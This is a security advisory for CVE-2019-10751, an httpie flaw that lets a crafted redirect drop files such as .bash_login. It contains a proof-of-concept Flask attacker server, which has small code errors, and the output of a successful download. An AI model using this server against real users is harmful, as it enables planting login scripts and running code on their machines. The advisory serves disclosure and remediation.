Open Redirect

Affecting httpie package, versions [,1.0.3)

Do your applications use this vulnerable package? Test your applications

Overview

httpie is a command line HTTP client.

Affected versions of this package are vulnerable to Open Redirect that allows an attacker to write an arbitrary file with supplied filename and content to the current directory, by redirecting a request from HTTP to a crafted URL pointing to a server in his or hers control. Depending on the context of using this command, this can lead to remote code execution and possibly privilege escalation.

PoC by Giulio Comi

First, we need to setup the attacking server with the redirection. In python, Flask can be used for this matter:

from flask import Flask, send_from_directory, redirect
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!'

@app.route('/original_filename', methods=['GET'])
def hello():
    return redirect("http://localhost:5000/static/.bash_login", code=302)

@app.route('/static/<path:path>', methods=['GET'])
def malicious():
    response = make_response(send_from_directory('static', path))
    response.headers['Content-Type'] = 'application/json'
    response.headers['Content-Disposition'] = 'inline'
    return response

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Running HTTPie with attempting to download from the server will result in:

root@host: /# http --proxy http://127.0.0.1:8080 --download http://localhost:5000/original_filename
HTTP/1.0 200 OK
Accept-Ranges: bytes
Cache-Control: public, max-age=43200
Content-Length: 7
Content-type: application/octet-stream
Date: Thu, 23 May 2019 20:20:52 GMT
Last-Modified: Thu, 23 May 2019 19:54:21 GMT
Server: Werkzeug/0.15.4 Python/2.7.13

Downloading 50.00 B to ".bash_login"
Done. 50.00 B in 0.00050s (96.97 kB/s)

The controlled server then redirects the GET request for original_filename to a malicious crafted .bash_login file. Running this command in the home directory might create the previously non-existing .bash_login that can lead to code execution when the user logs in.

Mitigations

From the HTTPie official documentation:

If not provided via --output, -o, the output filename will be determined from Content-Disposition (if available), or from the URL and Content-Type. If the guessed filename already exists, HTTPie adds a unique suffix to it.

Thus, HTTPie will add a suffix to any existing file if not provided otherwise preventing critical file overwrites.

Remediation

Upgrade httpie to version 1.0.3 or higher.

References

CVSS Score

8.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    Required
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C
Credit
Giulio Comi
CVE
CVE-2019-10751
CWE
CWE-601
Snyk ID
SNYK-PYTHON-HTTPIE-460107
Disclosed
24 Jun, 2019
Published
20 Aug, 2019